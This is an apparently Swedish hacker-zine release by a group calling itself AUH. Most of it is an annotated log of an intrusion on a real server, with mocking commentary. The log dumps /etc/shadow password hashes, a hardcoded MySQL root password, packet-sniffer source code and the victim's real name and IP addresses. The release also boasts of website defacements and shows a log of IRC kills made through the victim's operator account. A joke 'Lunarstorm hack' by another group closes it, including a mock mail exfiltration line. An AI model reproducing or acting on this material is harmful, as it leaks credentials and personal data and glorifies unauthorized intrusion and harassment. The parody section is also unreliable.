-rw-r--r-- 1 spacedmp spacedmp 47322 Feb 8 2002 data.log
-rw-r--r-- 1 spacedmp spacedmp 81899 Feb 8 2002 acid-0.9.6b12.tar.gz
drwxr-xr-x 35 spacedmp spacedmp 1024 Feb 10 2002 src
drwxr-xr-x 2 spacedmp spacedmp 2048 Feb 10 2002 adodb
drwxr-xr-x 4 spacedmp spacedmp 1024 Feb 10 2002 phplot
-rw-r--r-- 1 spacedmp spacedmp 2002639 Feb 12 2002 webmailen.tgz
drwxr-xr-x 2 spacedmp spacedmp 1024 Feb 14 2002 tmpdl
-rw-r--r-- 1 spacedmp spacedmp 10017 Feb 16 2002 wget.doit
-rw-r--r-- 1 spacedmp spacedmp 44163 Feb 17 2002 lusers.list
drwxr-xr-x 2 spacedmp spacedmp 1024 Feb 17 2002 FreeBSD
-rw-r--r-- 1 spacedmp spacedmp 2951 Feb 18 2002 poliskoder.txt
-rw-r--r-- 1 spacedmp spacedmp 4068 Feb 20 2002 lj-announce
-rw-r--r-- 1 spacedmp spacedmp 697256 Feb 21 2002 warforge.bnetd.v1.14c.tar.gz
-rw-r--r-- 1 spacedmp spacedmp 13086 Feb 21 2002 kort1227.gif
-rw-r--r-- 1 spacedmp spacedmp 253182 Feb 22 2002 msxml.pas
-rw-r--r-- 1 spacedmp spacedmp 8053707 Feb 24 2002 war3.zip
-rw-r--r-- 1 spacedmp spacedmp 1178 Mar 1 2002 djdjdjfjkklfs
-rw-r--r-- 1 spacedmp spacedmp 37812 Mar 2 2002 #bimbopojkarna.IRCNet.20020302.log
-rw-r--r-- 1 spacedmp spacedmp 24005 Mar 5 2002 T61andT62.gif
-rw-r--r-- 1 spacedmp spacedmp 344576 Mar 6 2002 after.vsd
-rw-r--r-- 1 spacedmp spacedmp 484864 Mar 6 2002 before.vsd
-rw-r--r-- 1 spacedmp spacedmp 5197 Mar 9 2002 ulug-provo-hemsa.zip
-rwxr-xr-x 1 spacedmp spacedmp 32 Mar 10 2002 nisse.sh
-rw-r--r-- 1 spacedmp spacedmp 1336 Mar 10 2002 burken.log
-rw-r--r-- 1 spacedmp spacedmp 15262 Mar 12 2002 pinerc016343
-rw-r--r-- 1 spacedmp spacedmp 19456 Mar 15 2002 processorhastigheter.doc
-rw-r--r-- 1 spacedmp spacedmp 40526 Mar 18 2002 buglist.cgi?bug_status=NEW&bug_status=ASSIGNED&bug_status=REOPENED&bug_severity=critical&bug_severity=major&bug_severity=normal&bug_severity=minor
-rw-r--r-- 1 spacedmp spacedmp 58 Mar 21 2002 remshit.sh
-rw-r--r-- 1 spacedmp spacedmp 1302042 Mar 23 2002 arla-0.35.7.tar.gz
-rw-r--r-- 1 spacedmp spacedmp 13926 Mar 27 15:31 anm.cgi
drwxrwxr-x 2 spacedmp spacedmp 1024 Mar 29 09:39 t-shirt
-rw-rw-r-- 1 spacedmp spacedmp 33306 Apr 1 18:03 selfverification.tar.gz
-rw-r--r-- 1 spacedmp spacedmp 9 Apr 3 12:30 nisseroot
-rw-r--r-- 1 spacedmp spacedmp 1138398 Apr 3 22:09 squirrelmail-1.2.5.tar.bz2
drwx------ 2 spacedmp spacedmp 4096 Apr 8 07:57 SolveIT
drwxr-xr-x 2 spacedmp spacedmp 1024 Apr 9 07:46 tetetetete
drwxr-xr-x 3 spacedmp spacedmp 1024 Apr 10 08:44 hack
-rw-r--r-- 1 spacedmp spacedmp 443244 Apr 13 19:09 DSC00013.JPG
-rw-r--r-- 1 spacedmp spacedmp 3339 Apr 15 00:35 phoogle.tar.gz
-rw-r--r-- 1 spacedmp spacedmp 10456 Apr 24 20:02 tfl.nfo
drwxr-xr-x 2 spacedmp spacedmp 1024 Apr 28 19:53 .mc
-rw-r--r-- 1 spacedmp spacedmp 14832 May 5 10:47 netstat.out
drwxr-xr-x 2 spacedmp spacedmp 1024 May 5 14:10 tmptmp
-rw-r--r-- 1 spacedmp spacedmp 3792330 May 12 09:21 R._Kelly_-_The_World's_Greatest07.mp3
-rw-rw-r-- 1 spacedmp spacedmp 16463 May 12 13:24 shell-linux-se-FAQ.htm
-rw-r--r-- 1 spacedmp spacedmp 10401669 May 20 21:01 Delerium_-_Semantic_Spaces_-_07_-_Flatlands.mp3
-rw-r--r-- 1 spacedmp spacedmp 495065 May 21 18:15 phpBB-2.0.1.tar.gz
drwxrwxr-x 2 spacedmp spacedmp 1024 May 21 23:19 mp3-tracit
drwxr-xr-x 2 spacedmp spacedmp 1024 May 22 10:23 clones
-rw-r--r-- 1 root root 4287 May 25 15:15 spam-mail
-rw-r--r-- 1 root root 112 Jun 2 13:19 .bashrc
-rw------- 1 spacedmp spacedmp 767260 Jun 9 13:40 ircnet-who.log
-rw-r--r-- 1 spacedmp spacedmp 8404 Jun 9 20:56 hardcopy.0
-rw-r--r-- 1 spacedmp spacedmp 700700 Jun 12 20:14 phpBB.dump
-rw-r--r-- 1 spacedmp spacedmp 3429 Jun 14 09:44 azer_06_14_02.txt
-rw-r--r-- 1 spacedmp spacedmp 122 Jun 15 17:19 compaq-burk
-rw-rw-rw- 1 spacedmp spacedmp 0 Jun 20 11:40 .nfs344cd43900014237
-rw-rw-rw- 1 spacedmp spacedmp 0 Jun 23 00:18 .nfs344cd60d0001750f
-rw-r--r-- 1 spacedmp spacedmp 2920 Jun 25 15:38 rzr-wc3.006
drwxr-xr-x 2 spacedmp spacedmp 1024 Jun 27 22:46 dkdkdkdkdkdd
-rw------- 1 spacedmp spacedmp 194 Jun 30 11:09 .cvspass
-rw-r--r-- 1 spacedmp spacedmp 2934646 Jun 30 12:08 screenlog.4
-rw-r--r-- 1 spacedmp spacedmp 49 Jul 1 22:22 menuback.gif
-rw-r--r-- 1 spacedmp spacedmp 1422 Jul 6 15:25 mailen.txt
-rw-r--r-- 1 spacedmp spacedmp 23 Jul 19 15:23 .htpasswd-cam
drwxr-xr-x 22 spacedmp spacedmp 1024 Jul 24 12:34 coding
-rw-r--r-- 1 spacedmp spacedmp 484674 Jul 27 14:08 snapshot1.png
-rw-r--r-- 1 spacedmp spacedmp 181169 Aug 7 11:18 putty-guide.zip
-rw-r--r-- 1 spacedmp spacedmp 404 Aug 7 13:39 putty-latest.zip
-rw-r--r-- 1 spacedmp spacedmp 188353 Aug 7 13:41 putty.zip
drwxr-xr-x 2 spacedmp spacedmp 1024 Aug 7 13:42 nissenisse
drwxr-xr-x 2 spacedmp spacedmp 1024 Aug 10 09:39 solveit
-rw-r--r-- 1 spacedmp spacedmp 25313280 Aug 10 11:02 spacedmp.oldlaptop
drwxr-xr-x 3 spacedmp spacedmp 1024 Aug 10 11:02 oldlaptop
-rw-r--r-- 1 spacedmp spacedmp 1977 Aug 17 18:59 zatzy-sd
drwxr-xr-x 4 spacedmp spacedmp 1024 Aug 23 22:04 .irc
-rw-r--r-- 1 root root 26955 Aug 24 13:24 evonite.maillog
-rw------- 1 spacedmp spacedmp 39761 Aug 25 01:24 ludd-klines
-rw------- 1 spacedmp spacedmp 204906 Sep 1 18:16 .pine-debug4
-rw-r--r-- 1 spacedmp spacedmp 0 Sep 3 00:30 mrtg.new.cfg_l_3272
-rw-r--r-- 1 spacedmp spacedmp 0 Sep 3 00:31 mrtg.new.cfg_l_3431
-rw-r--r-- 1 spacedmp spacedmp 0 Sep 3 00:52 mrtg.new.cfg_l_1034
-rw-r--r-- 1 spacedmp spacedmp 0 Sep 3 01:00 mrtg.new.cfg_l_949
-rw-r--r-- 1 spacedmp spacedmp 0 Sep 3 01:00 mrtg.new.cfg_l_915
-rw-r--r-- 1 spacedmp spacedmp 0 Sep 3 01:00 mrtg.new.cfg_l_826
-rw-r--r-- 1 spacedmp spacedmp 0 Sep 3 01:00 mrtg.new.cfg_l_756
-rw-r--r-- 1 spacedmp spacedmp 0 Sep 3 01:00 mrtg.new.cfg_l_741
-rw-rw-rw- 1 spacedmp spacedmp 0 Sep 5 16:50 mrtg.new.cfg_l
-rw-r--r-- 1 spacedmp spacedmp 15262 Sep 5 20:13 .pinerc
-rw------- 1 spacedmp spacedmp 138705 Sep 7 19:46 .pine-debug3
-rw-r--r-- 1 spacedmp spacedmp 6542 Sep 8 21:48 sballo-hosts
drwxr-xr-x 2 spacedmp spacedmp 1024 Sep 10 15:15 tetetest
-rw------- 1 spacedmp spacedmp 201092 Sep 10 16:52 .pine-debug2
-rw------- 1 spacedmp spacedmp 10568 Sep 11 14:03 sverigetail.log
drwxr-xr-x 2 spacedmp spacedmp 2048 Sep 13 23:58 dl
-rw-r--r-- 1 spacedmp spacedmp 47 Sep 16 15:57 comhem-koder
drwxr-xr-x 2 spacedmp spacedmp 1024 Sep 17 18:22 .ncftp
-rw------- 1 spacedmp spacedmp 73058 Sep 17 18:22 anna.log
-rw-r--r-- 1 spacedmp spacedmp 1236 Sep 19 12:39 .sieve
-rw------- 1 spacedmp spacedmp 8324532 Sep 19 22:53 efnet.log
-rw------- 1 spacedmp spacedmp 110103 Sep 20 14:26 solveit.log
-rw------- 1 spacedmp spacedmp 201406 Sep 20 19:49 .pine-debug1
-rw-r--r-- 1 spacedmp spacedmp 198991 Sep 21 00:15 doc.tar
-rw------- 1 spacedmp spacedmp 858073180 Sep 21 09:38 ircnet.log
-rw-r--r-- 1 spacedmp spacedmp 198185 Sep 21 10:02 doc.tgz
drwxrwx--x 148 spacedmp spacedmp 10240 Sep 21 10:02 public_html
-rw-r--r-- 1 spacedmp spacedmp 14 Sep 22 10:45 djurvall.txt
-rw------- 1 spacedmp spacedmp 14165 Sep 22 19:13 dead.letter
-rw------- 1 spacedmp spacedmp 120202 Sep 22 21:21 .mysql_history
-rw-r----- 1 spacedmp spacedmp 7516 Sep 22 21:21 .bash_history
drwx------ 2 spacedmp spacedmp 1024 Sep 22 22:50 mail
drwxrwx--x 167 spacedmp spacedmp 75776 Sep 22 22:50 .
drwxr-xr-x 5 root root 0 Sep 23 00:50 ..
#
# För fan, hyr en städfirma som rensar $HOME din jävla geek
#
# Ey, Nisseman@IRC - Spacedump hatar dig :-)
# Holmen - spacedump gillar inte dig heller
# Massor av ircloggar - #droger ligger illa till.
#
# :DDDDDDDDDDDDDDDDD
# Den här katalogen har stuff till en hel bok med bilder på en hög
# Sanna, bilder på fjortisar som visar bröstvårter, ircloggar,
# lunarstorm-konto. . . :DDDDDDDDDDD
#
# home-spacedmp.tar.gz kommer säljas på CD-skivor @ blocket.se
#
$ tail ircnet.log
*** No O-lines for your host
[11,0109:34:5415,1] Nickname: SpaceDump
[11,0109:34:5415,1] n3,01!15,01u6,01@15,1h: SpaceDump3,01!15,1spacedmp6,01@15,1SpaceDump.PP.SE
[11,0109:34:5415,1] Realname: Anders Olausson
[11,0109:34:5415,1] Channels: #socs
[11,0109:34:5415,1] Server: irc.swipnet.se
[11,0109:34:5415,1] Info: SWIPnet (Tele2 Sweden AB (Tele2 AB))
[11,0109:34:5415,1] SpaceDump has been idle for 7 seconds
[11,0109:34:5415,1] End of whois
IRC log ended Sat Sep 21 09:34:56 2002
# Ok, elajt
$ cd /var/spool/mail
#
# r3ad1ng j00r e-m41l, h4wh4wh4wh4w
#
$ ls -alrt
total 16
-rw-rw---- 1 root mail 7429 Jun 21 2000 root
drwxr-xr-x 13 root root 4096 Mar 16 2002 ..
drwxrwxrwt 2 root mail 4096 Mar 31 11:29 .
$ cat root
.......
Welcome! Glad to see you've made it this far! :^)
.......
Have fun!
---
Patrick Volkerding
volkerdi@slackware.com
.......
# Jaja, nu vet vi i alla fall att vi har root på en slackwareburk
$ host -t mx burken.nu
burken.nu mail is handled (pri=5) by mail-gw.spacedump.pp.se
$ host mail-gw.spacedump.pp.se
mail-gw.spacedump.pp.se has address 194.236.124.30
# Ajdå ;<
# Mail finns på en annan burk
$ uname -a
Linux fs02 2.4.9 #1 SMP Thu Aug 23 18:44:06 CEST 2001 i686 unknown
$ crontab -l &
# If you don't want the output of a cron job mailed to you, you have to direct
# any output to /dev/null. We'll do this here since these jobs should run
# properly on a newly installed system, but if they don't the average newbie
# might get quite perplexed about getting strange mail every 5 minutes. :^)
#
# Run the 'atrun' program every 5 minutes
# This runs anything that's due to run from 'at'. See man 'at' or 'atrun'.
# Note that this is commented out since it's not needed if you run atd. But,
# it's left as an example, since atd isn't strictly required. You can still
# run it this way instead.
#0,5,10,15,20,25,30,35,40,45,50,55 * * * * /usr/sbin/atrun 1> /dev/null 2> /dev/null
#
# This touches a filename in the temp directory so that you can see cron is
# working if the timestamp is current. Comment it out if it bugs you. :^)
# * * * * * touch /tmp/.crond_running
0 3 * * * /root/scripts/xmms-backup 1> /dev/null 2> /dev/null
#0,30 * * * * /usr/apps/rsync/2.4.6/bin/rsync -avzC --delete --delete-after rsync.php.net::phpweb /usr/web/webs/se2.php.net
#15 2 * * * /usr/apps/rsync/2.4.6/bin/rsync -rtlzv --delete --exclude incoming dev.apache.org::apache-site /usr/web/webs/www.apache.org
0 2 * * * /usr/apps/rsync/2.4.6/bin/rsync -avzC --delete --delete-after rsync.php.net::phpweb /export/vol2/webs/se2.php.net
#15 2 * * * /usr/apps/rsync/2.4.6/bin/rsync -rtlzv --delete --exclude incoming dev.apache.org::apache-site /export/vol2/webs/www.apache.org
# ftp-mirrors
15 1 * * * /root/mirror/mirror /root/mirror/packages/ftp.epicsol.org
# www3.se.postgresql.org
30 12 * * * /usr/apps/rsync/2.4.6/bin/rsync -avz --progress --stats --rsh=/usr/bin/rsh --delete rsync.postgresql.org::pgsql-www/ /export/vol2/webs/www3.se.postgresql.org/
30 0 * * * /usr/apps/rsync/2.4.6/bin/rsync -avz --progress --stats --rsh=/usr/bin/rsh --delete rsync.postgresql.org::pgsql-www/ /export/vol2/webs/www3.se.postgresql.org/
0 0 * * mon /usr/web/bin/apachectl graceful
#
# Aha - det var ju hygglo att starta om Apache till oss just inatt
# Kombinationen av logfilerna och detta cronjobet är mycket vackert.
#
$ cd /root/src
$ ls -l
total 40
drwxr-xr-x 2 spacedmp spacedmp 4096 Sep 7 02:10 chkrootkit-pre-0.36
drwxr-xr-x 14 mysql mysql 4096 Jun 30 09:54 cvs-1.11.2
drwxr-xr-x 22 38579 wheel 4096 May 24 2000 cyrus-imapd-1.6.24
drwxr-xr-x 15 utah 30 4096 Sep 5 15:43 krb4-1.1.1
drwxr-xr-x 9 mysql users 4096 Jan 11 2002 libtool-1.4.2
drwxr-xr-x 3 root root 4096 Jan 16 2002 lsof
drwxr-xr-x 7 mysql mysql 8192 Sep 15 21:38 openssh-3.4p1
drwxr-xr-x 15 274 wheel 4096 Sep 15 21:37 ucd-snmp-4.2.5
drwxr-xr-x 5 root root 4096 Aug 25 21:29 www
# Lille vän, chkrootkit funkar bara om man blir ägd av kiddies
$ cat /etc/shadow
root:7yZxF1iGqXeH.:11616:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
news:*:9797:0:::::
uucp:*:9797:0:::::
operator:*:9797:0:::::
games:*:9797:0:::::
ftp:*:9797:0:::::
gdm:*:9797:0:::::
linux:11oNFsK5/97YU:11617:0:::::
bbuser:dm6lHDjg1/8hM:11643:0:::::
nobody:*:9797:0:::::
warez:7yZxF1iGqX:11770:0:::::
annamp3:halFIc6xVVpN6:11770:0:::::
ntadmin:!:11915:0:99999:7:::
sdlaptop$:!:11915:0:99999:7:::
burken-oxv7pnpq$:!:11916:0:99999:7:::
puff$:!:11916:0:99999:7:::
fs03$:!:11916:0:99999:7:::
sd-lfs:/Qs1Tf3YU5VaE:11933:0:99999:7:::
# NIS+ :-(
$ cd /root/coding
$ ls -lart
total 20
drwxr-xr-x 10 root bin 4096 Dec 8 2001 irc2.10.3p3
drwxr-xr-x 2 root root 4096 Dec 12 2001 sniff
drwx--x--- 17 root root 4096 Sep 20 15:37 ..
drwxr-xr-x 5 root root 4096 Sep 22 15:55 .
drwxr-xr-x 2 root root 4096 Sep 22 17:05 system-files
$ cd sniff
$ ls -alrt
total 28
-rw-r--r-- 1 root root 2420 Dec 12 2001 sniff.c
-rwxr-xr-x 1 root root 13481 Dec 12 2001 sniff
drwxr-xr-x 2 root root 4096 Dec 12 2001 .
drwxr-xr-x 5 root root 4096 Sep 22 15:55 ..
$ cat sniff.c
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
int main() {
int sock, n, i;
int q;
char buffer[2048];
struct ifreq ethreq;
unsigned char *iphead, *ethhead;
if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP)))<0) {
perror("socket");
exit(1);
}
strncpy(ethreq.ifr_name,"eth0",IFNAMSIZ);
if (ioctl(sock,SIOCGIFFLAGS,ðreq)==-1) {
perror("ioctl");
close(sock);
exit(1);
}
ethreq.ifr_flags|=IFF_PROMISC;
if (ioctl(sock,SIOCSIFFLAGS,ðreq)==-1) {
perror("ioctl");
close(sock);
exit(1);
}
i = 0;
while (1) {
n = recvfrom(sock,buffer,2048,0,NULL,NULL);
// printf("%d bytes read\n", n);
if (n<42) {
perror("recvfrom():");
printf("Incomplete packet (errno is %d)\n", errno);
close(sock);
exit(0);
}
ethhead = buffer;
iphead= buffer+14;
// if ((iphead[20]<<8)+iphead[21] == 80) {
// printf("%04d ", n);
// printf("%02x:%02x:%02x:%02x:%02x:%02x",
// ethhead[0],ethhead[1],ethhead[2],
// ethhead[3],ethhead[4],ethhead[5]);
// printf(" > ");
// printf("%02x:%02x:%02x:%02x:%02x:%02x",
// ethhead[6],ethhead[7],ethhead[8],
// ethhead[9],ethhead[10],ethhead[11]);
// printf(" ");
if (*iphead==0x45) {
// if ((iphead[22]<<8)+iphead[23] == 80) {
if ((iphead[12] == 66 && iphead[13] == 70 && iphead[14] == 155 && iphead[15] == 126) || (iphead[16] == 66 && iphead[17] == 70 && iphead[18] == 155 && iphead[19] == 126)) {
// if (iphead[16] == 194 && iphead[17] == 236 && iphead[18] == 124 && iphead[19] == 44 && (iphead[22]<<8)+iphead[23] == 80) {
printf("%03d.%03d.%03d.%03d:%05d",
iphead[12],iphead[13],iphead[14],iphead[15],
(iphead[20]<<8)+iphead[21]);
printf(" > ");
printf("%03d.%03d.%03d.%03d:%05d",
iphead[16],iphead[17],iphead[18],iphead[19],
(iphead[22]<<8)+iphead[23]);
printf("\n");
for (q=0;q '\32' && buffer[q] < '\170') {
printf("%c", buffer[q]);
} else {
printf(".");
}
}
printf("\n");
}
// }
// }
// printf("\n");
}
}
}
# /* no comment */
$ cd ..
$ ls
irc2.10.3p3
sniff
system-files
$ cd sys*
$ ls -la
total 28
drwxr-xr-x 2 root root 4096 Sep 22 17:05 .
drwxr-xr-x 5 root root 4096 Sep 22 15:55 ..
-rwxr-xr-x 1 root root 13515 Sep 22 17:05 system-files
-rw-r--r-- 1 root root 837 Sep 22 17:05 system-files.c
$ cat *.c
#include
#include
int main() {
MYSQL SQLCONN;
MYSQL_RES *SQLRES;
MYSQL_ROW SQLROW;
unsigned int num_fields;
unsigned int num_rows;
unsigned int i;
char SQL_QUERY[512];
sprintf(SQL_QUERY, "SELECT * FROM tbl_passwd ORDER BY PASSWD_UID");
mysql_init(&SQLCONN);
mysql_real_connect(&SQLCONN, "localhost", "root", "nattis", "_system", 0, NULL, 0);
if (!mysql_real_query(&SQLCONN, SQL_QUERY, sizeof(SQL_QUERY))) {
SQLRES = mysql_store_result(&SQLCONN);
num_fields = mysql_num_fields(SQLRES);
num_rows = mysql_num_rows(SQLRES);
printf("Num fields: %d Num rows: %d\n", num_fields, num_rows);
while (SQLROW = mysql_fetch_row(SQLRES)) {
printf("%s:x:%s:%s:%s:%s:/bin/false\n", SQLROW[0], SQLROW[2], SQLROW[3], SQLROW[4], SQLROW[5]);
}
}
mysql_close(&SQLCONN);
}
#
# Rootpass, rootpass.. Här var det rootpass. Nån som vill ha rootpass?
# Borde man inte vara mer försiktig med sina c0d3z?
#
$ cd /home/spaced*
$ cd .irc*
$ ls -alrt
total 409
-rw-r--r-- 1 spacedmp spacedmp 867 Dec 27 1999 nickretreive.irc
-rw-r--r-- 1 spacedmp spacedmp 1252 Jul 16 2000 hg.irc
-rw-r--r-- 1 spacedmp spacedmp 881 Oct 9 2000 sd.oper
-rw-r--r-- 1 spacedmp spacedmp 1379 Oct 11 2000 tgrep.irc
-rw-r--r-- 1 spacedmp spacedmp 312 Oct 19 2000 mop.irc
-rw-r--r-- 1 spacedmp spacedmp 476 Dec 27 2000 autopartuppsala.irc
-rw-r--r-- 1 spacedmp spacedmp 1901 Jan 2 2001 tversion.irc
-rw-r--r-- 1 spacedmp spacedmp 1348 Mar 17 2001 botfinder.irc
-rw-r--r-- 1 spacedmp spacedmp 17827 Apr 7 2001 clients
-rw-r--r-- 1 spacedmp spacedmp 45149 Apr 7 2001 clients.reply
-rw------- 1 spacedmp spacedmp 34155 Apr 7 2001 botfinder.logfile
-rw-r--r-- 1 spacedmp spacedmp 621 Jun 26 2001 wcs.irc
-rw-r--r-- 1 spacedmp spacedmp 1234 Jul 14 2001 sd-operview.irc
-rw-r--r-- 1 spacedmp spacedmp 5887 Oct 1 2001 sd.operit
-rw-r--r-- 1 spacedmp spacedmp 802 Nov 5 2001 igrep.irc
-rw-r--r-- 1 spacedmp spacedmp 38239 Dec 18 2001 sd.irc.old
-rw-r--r-- 1 spacedmp spacedmp 245 Dec 22 2001 sd2.irc
-rw-r--r-- 1 spacedmp spacedmp 63 Dec 31 2001 sd-menu
-rw-r--r-- 1 spacedmp spacedmp 335 Jan 1 2002 tabcomplete.irc
-rw-r--r-- 1 spacedmp spacedmp 840 Jan 4 2002 kgrep.irc.old
-rw-r--r-- 1 spacedmp spacedmp 907 Jan 4 2002 kgrep.irc
drwxr-xr-x 3 spacedmp spacedmp 1024 Jan 12 2002 bot
-rw-r--r-- 1 spacedmp spacedmp 1411 Feb 14 2002 sd-checkclient.irc
-rw-r--r-- 1 spacedmp spacedmp 66 Feb 14 2002 nisse.irc
-rw-r--r-- 1 spacedmp spacedmp 39575 Mar 11 2002 sd.irc.backup
drwxr-xr-x 2 spacedmp spacedmp 1024 Mar 11 2002 RCS
-rw-r--r-- 1 spacedmp spacedmp 39929 Aug 6 14:01 sd.irc
-rw-r--r-- 1 spacedmp spacedmp 39929 Aug 6 14:06 sd-new.irc
-rw-r--r-- 1 spacedmp spacedmp 19920 Aug 10 22:46 sd.users.bak
-rw-r--r-- 1 spacedmp spacedmp 19942 Aug 23 22:04 sd.users
drwxr-xr-x 4 spacedmp spacedmp 1024 Aug 23 22:04 .
drwxrwx--x 167 spacedmp spacedmp 75776 Sep 22 22:50 ..
$ cd ..
$ ls -ld *ssh*
-rw------- 1 spacedmp spacedmp 978 Jun 17 2000 mysshkey
-rw-r--r-- 1 spacedmp spacedmp 642 Jun 17 2000 mysshkey.pub
-rw-r--r-- 1 spacedmp spacedmp 303319 Oct 14 1999 ssh-1.2.26-afs-kerberos.patch-1
-rw-r--r-- 1 root root 201673 Mar 22 2000 ssh-1.2.27-afs-kerberos.patch-1
-rw-r--r-- 1 spacedmp spacedmp 687 Jan 15 2002 sshd_config
-rw-r--r-- 1 spacedmp spacedmp 1020 Sep 6 2000 sshstrul
$ /sbin/ifconfig -a
eth0 Link encap:Ethernet HWaddr 00:02:B3:2F:59:C6
inet addr:194.236.124.44 Bcast:194.236.124.63 Mask:255.255.255.224
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:155739796 errors:0 dropped:0 overruns:0 frame:0
TX packets:187641314 errors:0 dropped:0 overruns:969 carrier:0
collisions:0 txqueuelen:100
Interrupt:18
eth0:0 Link encap:Ethernet HWaddr 00:02:B3:2F:59:C6
inet addr:194.236.124.45 Bcast:194.236.124.63 Mask:255.255.255.224
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
Interrupt:18
eth0:1 Link encap:Ethernet HWaddr 00:02:B3:2F:59:C6
inet addr:194.236.124.46 Bcast:194.236.124.63 Mask:255.255.255.224
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
Interrupt:18
eth0:2 Link encap:Ethernet HWaddr 00:02:B3:2F:59:C6
inet addr:194.236.124.47 Bcast:194.236.124.63 Mask:255.255.255.224
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
Interrupt:18
eth0:3 Link encap:Ethernet HWaddr 00:02:B3:2F:59:C6
inet addr:194.236.124.38 Bcast:194.236.124.63 Mask:255.255.255.224
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
Interrupt:18
eth0:5 Link encap:Ethernet HWaddr 00:02:B3:2F:59:C6
inet addr:194.236.124.42 Bcast:194.236.124.63 Mask:255.255.255.224
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
Interrupt:18
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:16447759 errors:0 dropped:0 overruns:0 frame:0
TX packets:16447759 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
$ kill -9 $$
#
# Tenta imorgon, dags att samla energi.
# Men vi kommer tillbaka, var så säker på det.
#
Tack och hej, leverpastej
Tidigt - Lördag.
Kära Dagbok,
Idag hittade jag och mina vänner på mer bus med Spacedumps dator, först så
ändrade vi lite på två av spacedumps hemsidor.. (www.linux.se och www.xmms.org)
Sen så hade vi tråkigt och gick ut och lekte på IRC med spacedumps
IRC klient. Spacedump är IRCop och har fet mackt över irken!
Givetvis måste vi undersöka detta genom att döda folk vi föraktar, folk som
bara är dumma i huvet och folk som mirkar i mats667's närhet
07:50 ·f· SignOff tlund: #linux.se (Local Kill by not_here_ (mail -s'all your base are belong to us' tlund@nxs.se ))
07:51 ·f· SignOff sandyman: #linux.se (Killed (not_here_ (grattis på 14årsdagen - //linux.se)))
07:52 ·f· SignOff alfonz: #linux.se (Local Kill by not_here_ (haha på dig med))
07:56 ·f· SignOff vader__: #linux.se (Kill line active: Abuse (No childpron on IRCNET, please))
07:57 ·f· SignOff mrsaint: #linux.se (Local Kill by not_here_ (mysiga lilla farbror :)))
07:57 ·f· SignOff granis: #linux.se (Local Kill by not_here_ (mysiga stora farbror :)))
08:06 ·f· SignOff b9AcE: #linux.se (Kill line active: dissa inte homosexuella grupper -- patrik nilsson)
08:09 ·f· SignOff alfonz: #linux.se (Local Kill by not_here_ (spacedump är inte uttråkad, spacedump är ägd. dessutom gör du
intrång på mitt internet.))
Kom ihåg - som vanligt så är det inte personen i loggarna som har tagit knarket.
Hack the planet, Free Kevin...
- AUH Republican Army
+-------
|
+-------------------------------------------------------------------------+
| En mycket fin logg som visar att du inte behöver de nyaste exploiten |
| från bugtraq för att hacka root på en ändå ganska stor server. |
| Här gick hackarna från att inte ha något konto alls, till root på |
| servern som innehöll allt www material, luras inte av den korta loggen, |
| Detta var något som tog några dagar, Och vi har klippt bort ganska |
| mycket (ett par megabyte för att vara exakt) för att undvika att |
| tråka ut er. Det är ju all *Action* man vill se, eller hur? |
| |
| Och Spacedump, jag hoppas du har säkrat upp din burk ;-P |
+-------------------------------------------------------------------------+
|
+---+[AUH / Arga Unga Hackare ]--------+--------------------------------------+>
|
|
+----------------------------------+
|
<---+-------------------------------------------------------------------------+>
En kall och mör höstnatt satt vi i våran högborg och hackade frenetiskt på
våra överklockade pentium MMX -terminaler. B0NGröken låg tung över redaktionen
och en av våra skribenter satt ondskefullt skrattande i ett hörn, knaprandes
färglada piller. Rummet var fullt av 0nd hackarenergi och vi satt och slackade
på mIRKen i väntan på något bättre.
eftersom det varken gick något bra på tv eller var några vakna på mIRKen
så beslöt vi oss för att hitta på något diaboliskt, med ideerna uteblev..
Det var en uttråkad medlem som lite senare kom på den genialiska ideen att
posta massa inlägg på lunarstorm, med konton som inte var våra! muhahaha!
Vi hackar snabbt Lunarstorms databas-data där säkerheten är lägre än
TC-redax efter ett tiotal B0NGar! h3h3h3h3
root@tc_hq>% telnet databas.lunarstorm.se
* Välkjommen till våran databas data! *KjAmiZZar* *fniss*
login:bjarre
password:******
# grep F14 userdatas.txt | mail hacker@tc_hq.regeringen.se
#logout
whohoo! nu behöver vi bara massa datakraft för att knycka nyckeln
till deras hemmagorda ASP och .NET krypteringssystem!
Vi matar våra exalterade hjärnor med mer datadroger och hackar
under höga skratt igenom massa konton till vi hittar något med CPU
att räkna med! Vi hittar snabbt precis vad vi letar efter!! h4h4h4h4!!
Vi använder som alltid våran egenutvecklade tokoptimerade kodknäckare
för dessa högprioriterade uppdrag av ren 0ndska.
root@tc_hq>% rlogin -u 3v1lh4X0rz motherbrain.utwente.nl
Welcome to University of Twene Compter Network.
$ cd .\ \/.secret/
$ ./ultimate_password_cracker
Welcome to The Ultimate Password Cracker.
>Connect all other computers on network
*Connecting....100%*
* you have now totally 1000THz of CPU *
>load all cpu power to password_cracker
* 0.............100% *
>load file lunarstorm_passwd.rot13
* 20000 passwords loaded. *
>crack all really fast
* cracking speed 30% *
* cracking speed 40% *
** SYSLOG MESSAGE: CPU temperature critical **
* cracking speed 50% *
* cracking speed 60% *
** SYSLOG MESSAGE: CPU temperature way out of line **
* cracking speed 70% *
* cracking speed 80% *
** SYSLOG MESSAGE: several CPU in network is on fire **
* cracking speed 90% *
** SYSLOG MESSAGE: Critical parts of computer are in flames **
LOST CARRIER
Otur att undertecknad var upptagen med att röka B0NG när varningar kom.
Vi städar snyggt undan alla spår och låtsas som inget har hänt.
Faktum är att det inte har hänt. Påstår du annat så förnekar vi allt.
Vi stänger snabbt av strömmen och drar till närmsta rejvfest för att
ha vittnen på att vi inte kan ha gjort det, vi hittar snabbt en människa
med allvarliga tidsstörningar som kan gå i ed på att vi var där flera i timmar.
Han bjöd oss även på mer knark. trevlig gosse.
- TC - din guide i cyberrymden
